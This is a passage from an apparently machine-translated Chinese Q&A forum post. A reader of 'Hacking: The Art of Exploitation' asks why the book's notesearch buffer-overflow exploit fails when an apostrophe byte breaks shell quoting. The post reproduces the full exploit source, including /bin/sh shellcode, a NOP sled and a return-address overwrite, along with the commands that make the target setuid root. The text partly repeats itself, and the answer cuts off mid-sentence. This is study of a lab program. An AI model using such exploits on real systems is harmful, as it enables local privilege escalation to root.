[我目前正在阅读乔恩·埃里克森(Jon Erickson)的书《黑客:剥削的艺术,第二版》,我陷入了有关利用缓冲区溢出的问题。
首先,我们有一个notetaker.c
(https://github.com/intere/hacking/blob/master/booksrc/notetaker.c)代码,它写入文件/ var / notes中第二,我们有一个noteseach.c
(https://github.com/intere/hacking/blob/master/booksrc/notesearch.c)代码,它读取文件/ var / notes。要编译和使用:
作为漏洞利用。gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch sudo chown root:root notesearch sudo chmod u+s notesearch
然后,我们有exploit_notesearch.c
:编译和使用它:#include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x51\x53\x89\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); // zero out the new memory strcpy(command, "./notesearch \'"); // start command buffer buffer = command + strlen(command); // set buffer at the end if(argc > 1) // set offset offset = atoi(argv[1]); ret = (unsigned int)&i - offset; // set return address printf("%0x\n\n", ret); for(i=0; i <105 ; i+=4) // fill buffer with return address *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 20); // build NOP sled memcpy(buffer+20, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); // run exploit
然后,我们有了漏洞利用代码:exploit_notesearch.c
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c
经过一些测试,对于我没有收到SEGFAULT或非法指令错误的女巫,唯一的值是149。然后我做了:
./a.out 149
,我得到了这个结果:sh: 1: Syntax error: Unterminated quoted string
因此,我检查了array命令的值,并发现有效地是,ret变量中的一个字节用撇号表示。我该如何解决?我目前正在使用Linux ubuntu 4.15.0-96-通用i686。
[如果需要,如果要编译文件,这是hacking.h
(https://github.com/intere/hacking/blob/master/booksrc/hacking.h)的代码。我目前正在阅读乔恩·埃里克森(Jon Erickson)的书《黑客:剥削的艺术,第二版》,我陷入了有关利用缓冲区溢出的问题。首先,我们有一个代码...
system()
不适合完成此任务,因为如您所见,被调用的shell会解释命令字符串中的某些字符。更好地使用